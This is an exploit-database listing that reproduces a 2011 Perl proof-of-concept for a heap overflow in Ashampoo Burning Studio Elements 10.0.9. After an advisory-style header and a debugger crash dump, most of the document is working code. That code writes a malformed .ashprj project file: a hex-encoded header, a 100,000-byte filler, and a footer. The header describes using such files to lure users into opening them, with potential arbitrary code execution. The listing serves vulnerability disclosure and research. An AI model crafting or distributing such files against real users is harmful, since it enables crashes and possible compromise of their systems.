Ashampoo Burning Studio Elements 10.0.9 – ‘.ashprj’ Heap Overflow

  • 作者: LiquidWorm
    日期: 2011-10-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17928/
  • #!/usr/bin/perl
    #
    #
    # Ashampoo Burning Studio Elements 10.0.9 (.ashprj) Heap Overflow Vulnerability
    #
    #
    # Vendor: Ashampoo GmbH & Co. KG
    # Product web page: http://www.ashampoo.com
    # Affected version: 10.0.9
    #
    # Summary: Ashampoo Burning Studio Elements offers you everything you need to
    # burn movies, music and data - fast and effectively. The software with the
    # intuitive user interface focuses on the core competencies of burning software
    # and offers you compact functions to tackle all tasks relating to your burning
    # projects – easily create data discs, burn backups, rip music, create audio CDs
    # or burn already existing film files on Blu-ray Disc and lots more.
    #
    # Desc: The application suffers from a heap overflow vulnerability because it
    # fails to properly sanitize user supplied input when parsing .ashprj project
    # file format resulting in a crash corrupting the heap-based memory. The
    # attacker can use this scenario to lure unsuspecting users to open malicious
    # crafted .ashprj files with a potential for arbitrary code execution on the
    # affected system.
    #
    # ---------------------------------------------------------------------------
    #
    # HEAP[burningstudioelements.exe]: Heap block at 051F7F08 modified at 051F7F86 past requested size of 76
    # (f10.26c): Break instruction exception - code 80000003 (first chance)
    # eax=051f7f08 ebx=051f7f86 ecx=7c91d4fd edx=00f1eca5 esi=051f7f08 edi=00000076
    # eip=7c90120e esp=00f1eea8 ebp=00f1eeac iopl=0 nv up ei pl nz na po nc
    # cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00200202
    # ntdll!DbgBreakPoint:
    # 7c90120e ccint 3
    # 0:000> g
    # HEAP[burningstudioelements.exe]: Invalid Address specified to RtlFreeHeap( 01A70000, 051F7F10 )
    # (f10.26c): Break instruction exception - code 80000003 (first chance)
    # eax=051f7f08 ebx=051f7f08 ecx=7c91d4fd edx=00f1ecb6 esi=01a70000 edi=051f7f08
    # eip=7c90120e esp=00f1eec0 ebp=00f1eec4 iopl=0 nv up ei pl nz na po nc
    # cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00200202
    # ntdll!DbgBreakPoint:
    # 7c90120e ccint 3
    # 0:000> d edi
    # 051f7f0812 00 06 00 02 07 1a 01-01 00 00 00 e8 5c a0 e6.............\..
    # 051f7f18cb f9 c3 b3 0c e8 5c a0-e6 cb 41 42 41 42 41 42......\...ABABAB
    # 051f7f2841 42 41 42 41 42 41 42-41 42 41 42 41 42 41 42ABABABABABABABAB
    # 051f7f3841 42 41 42 41 42 41 42-41 42 41 42 41 42 41 42ABABABABABABABAB
    # 051f7f4841 42 41 42 41 42 41 42-41 42 41 42 41 42 41 42ABABABABABABABAB
    # 051f7f5841 42 41 42 41 42 41 42-41 42 41 42 41 42 41 42ABABABABABABABAB
    # 051f7f6841 42 41 42 41 42 41 42-41 42 41 42 41 42 41 42ABABABABABABABAB
    # 051f7f7841 42 41 42 41 42 41 42-41 42 41 42 41 42 41 abABABABABABABABA.
    #
    # ---------------------------------------------------------------------------
    #
    #
    # Tested on: Microsoft Windows XP Pro SP3 (En)
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    # @zeroscience
    #
    #
    # Advisory ID: ZSL-2011-5050
    # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5050.php
    #
    #
    # 28.09.2011
    #
    
    
    use strict;
    
    system("color 80");
    
    my $filefm = "Aodrulez.ashprj"; # ;)
    
    &banner;
    print "\nThis PoC script will create the $filefm file!\n\n";
    system("pause");
    
    my $buffer = "\x41\x42" x 50000;
    
    my $header = "\x61\x73\x68\x70\x72\x6A\x00\x00\x0A\x00\x00\x00\x00\x00\x00\x56". #0x03 (ETX) removed.
     "\x45\x52\x53\x08\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01".
     "\x00\x00\x00\x66\x50\x52\x4A\xEA\x02\x00\x00\x00\x00\x00\x00\x49".
     "\x44\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x70\x00\x72\x00\x6F".
     "\x00\x6A\x00\x65\x00\x63\x00\x74\x00\x2E\x00\x64\x00\x61\x00\x74".
     "\x00\x61\x00\x64\x00\x69\x00\x73\x00\x63\x00\x66\x50\x50\x53\x00".
     "\x00\x00\x00\x00\x00\x00\x00\x66\x50\x52\x4D\x10\x00\x00\x00\x00".
     "\x00\x00\x00\x46\x4C\x41\x47\x04\x00\x00\x00\x00\x00\x00\x00\x00".
     "\x00\x00\x00\x66\x43\x4D\x50\x56\x02\x00\x00\x00\x00\x00\x00\x54".
     "\x59\x50\x45\x08\x00\x00\x00\x00\x00\x00\x00\x44\x00\x61\x00\x74".
     "\x00\x61\x00\x66\x50\x50\x53\x00\x00\x00\x00\x00\x00\x00\x00\x66".
     "\x46\x53\x00\x88\x00\x00\x00\x00\x00\x00\x00\x46\x53\x00\x00\x36".
     "\x00\x00\x00\x00\x00\x00\x00\x44\x00\x69\x00\x73\x00\x63\x00\x54".
     "\x00\x79\x00\x70\x00\x65\x00\x41\x00\x70\x00\x70\x00\x72\x00\x6F".
     "\x00\x70\x00\x72\x00\x69\x00\x61\x00\x74\x00\x65\x00\x2E\x00\x50".
     "\x00\x72\x00\x69\x00\x6D\x00\x61\x00\x72\x00\x79\x00\x46\x53\x00".
     "\x00\x3A\x00\x00\x00\x00\x00\x00\x00\x44\x00\x69\x00\x73\x00\x63".
     "\x00\x54\x00\x79\x00\x70\x00\x65\x00\x41\x00\x70\x00\x70\x00\x72".
     "\x00\x6F\x00\x70\x00\x72\x00\x69\x00\x61\x00\x74\x00\x65\x00\x2E".
     "\x00\x53\x00\x65\x00\x63\x00\x6F\x00\x6E\x00\x64\x00\x61\x00\x72".
     "\x00\x79\x00\x4C\x41\x42\x4C\x10\x00\x00\x00\x00\x00\x00\x00\x4D".
     "\x00\x79\x00\x20\x00\x46\x00\x69\x00\x6C\x00\x65\x00\x73\x00\x66".
     "\x4B\x49\x44\x7A\x01\x00\x00\x00\x00\x00\x00\x66\x46\x44\x52\x6E".
     "\x01\x00\x00\x00\x00\x00\x00\x66\x4E\x4F\x44\xC7\x00\x00\x00\x00".
     "\x00\x00\x00\x48\x45\x41\x44\x1F\x00\x00\x00\x00\x00\x00\x00\x00".
     "\x00\x00\x00\x80\xEB\x8C\x96\x7D\x35\xE1\xB3\x0C\x80\xEB\x8C\x96".
     "\x7D\x35\xE1\xB3\x0C\x80\xEB\x8C\x96\x7D\x35\xE1\xB3\x0C\x4E\x41".
     "\x4D\x45\x08\x00\x00\x00\x00\x00\x00\x00\x52\x00\x6F\x00\x6F\x00".
     "\x74\x00\x44\x53\x52\x43\x7C\x00\x00\x00\x00\x00\x00\x00\x00\x00".
     "\x00\x00\x74\x00\x00\x00\x66\x00\x69\x00\x6C\x00\x65\x00\x3A\x00".
     "\x2F\x00\x2F\x00\x2F\x00\x43\x00\x3A\x00\x2F\x00\x44\x00\x6F\x00".
     "\x63\x00\x75\x00\x6D\x00\x65\x00\x6E\x00\x74\x00\x73\x00\x25\x00".
     "\x32\x00\x30\x00\x61\x00\x6E\x00\x64\x00\x25\x00\x32\x00\x30\x00".
     "\x53\x00\x65\x00\x74\x00\x74\x00\x69\x00\x6E\x00\x67\x00\x73\x00".
     "\x2F\x00\x41\x00\x6C\x00\x6C\x00\x25\x00\x32\x00\x30\x00\x55\x00".
     "\x73\x00\x65\x00\x72\x00\x73\x00\x2F\x00\x44\x00\x65\x00\x73\x00".
     "\x6B\x00\x74\x00\x6F\x00\x70\x00\x2F\x00\x66\x4B\x49\x44\x8F\x00".
     "\x00\x00\x00\x00\x00\x00\x66\x4C\x45\x46\x83\x00\x00\x00\x00\x00".
     "\x00\x00\x66\x4E\x4F\x44\x77\x00\x00\x00\x00\x00\x00\x00\x48\x45".
     "\x41\x44\x27\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xE8\x5C".
     "\xA0\xE6\xCB\xF9\xC3\xB3\x0C\xE8\x5C\xA0\xE6\xCB";
    
    my $footer = "\xF9\xC3\xB3\x0C\x28\x80\xBA\xA7\x70\x35\xE1\xB3\x0C\x50\x02\x00".
     "\x00\x00\x00\x00\x00\x4E\x41\x4D\x45\x12\x00\x00\x00\x00\x00\x00".
     "\x00\x4A\x00\x6F\x00\x78\x00\x79\x00\x31\x00\x2E\x00\x6C\x00\x6E".
     "\x00\x6B\x00\x44\x53\x52\x43\x1A\x00\x00\x00\x00\x00\x00\x00\x3A".
     "\x00\x00\x00\x12\x00\x00\x00\x4A\x00\x6F\x00\x78\x00\x79\x00\x31".
     "\x00\x2E\x00\x6C\x00\x6E\x00\x6B\x00\x66\x43\x4D\x50\x28\x00\x00".
     "\x00\x00\x00\x00\x00\x54\x59\x50\x45\x10\x00\x00\x00\x00\x00\x00".
     "\x00\x45\x00\x6C\x00\x54\x00\x6F\x00\x72\x00\x69\x00\x74\x00\x6F".
     "\x00\x66\x50\x50\x53\x00\x00\x00\x00\x00\x00\x00\x00";
    
    my $fringe = $header.$buffer.$footer;
    
    print "\n - Preparing to write to file...\n";
    sleep 1;
    open (prj, ">./$filefm") || die "\nCan't open $filefm: $!";
    print "\n - Writing to file...\n";
    print prj $fringe;
    close (prj);
    sleep 2;
    print "\n - File \"$filefm\" successfully crafted!\n\n - t00t!\n";
    
    sub banner {
    
     print "\n";
     print "_" x 51;
     print "\n\n Ashampoo Burning Studio Elements 10 Heap Overflow\n\n";
     print "\tCopyleft (c) 2011 - Zero Science Lab\n\n";
     print "\t\tID: ZSL-2011-5050\n\n";
     print "_" x 51;
     print "\n";
    
    }
    
    #EOF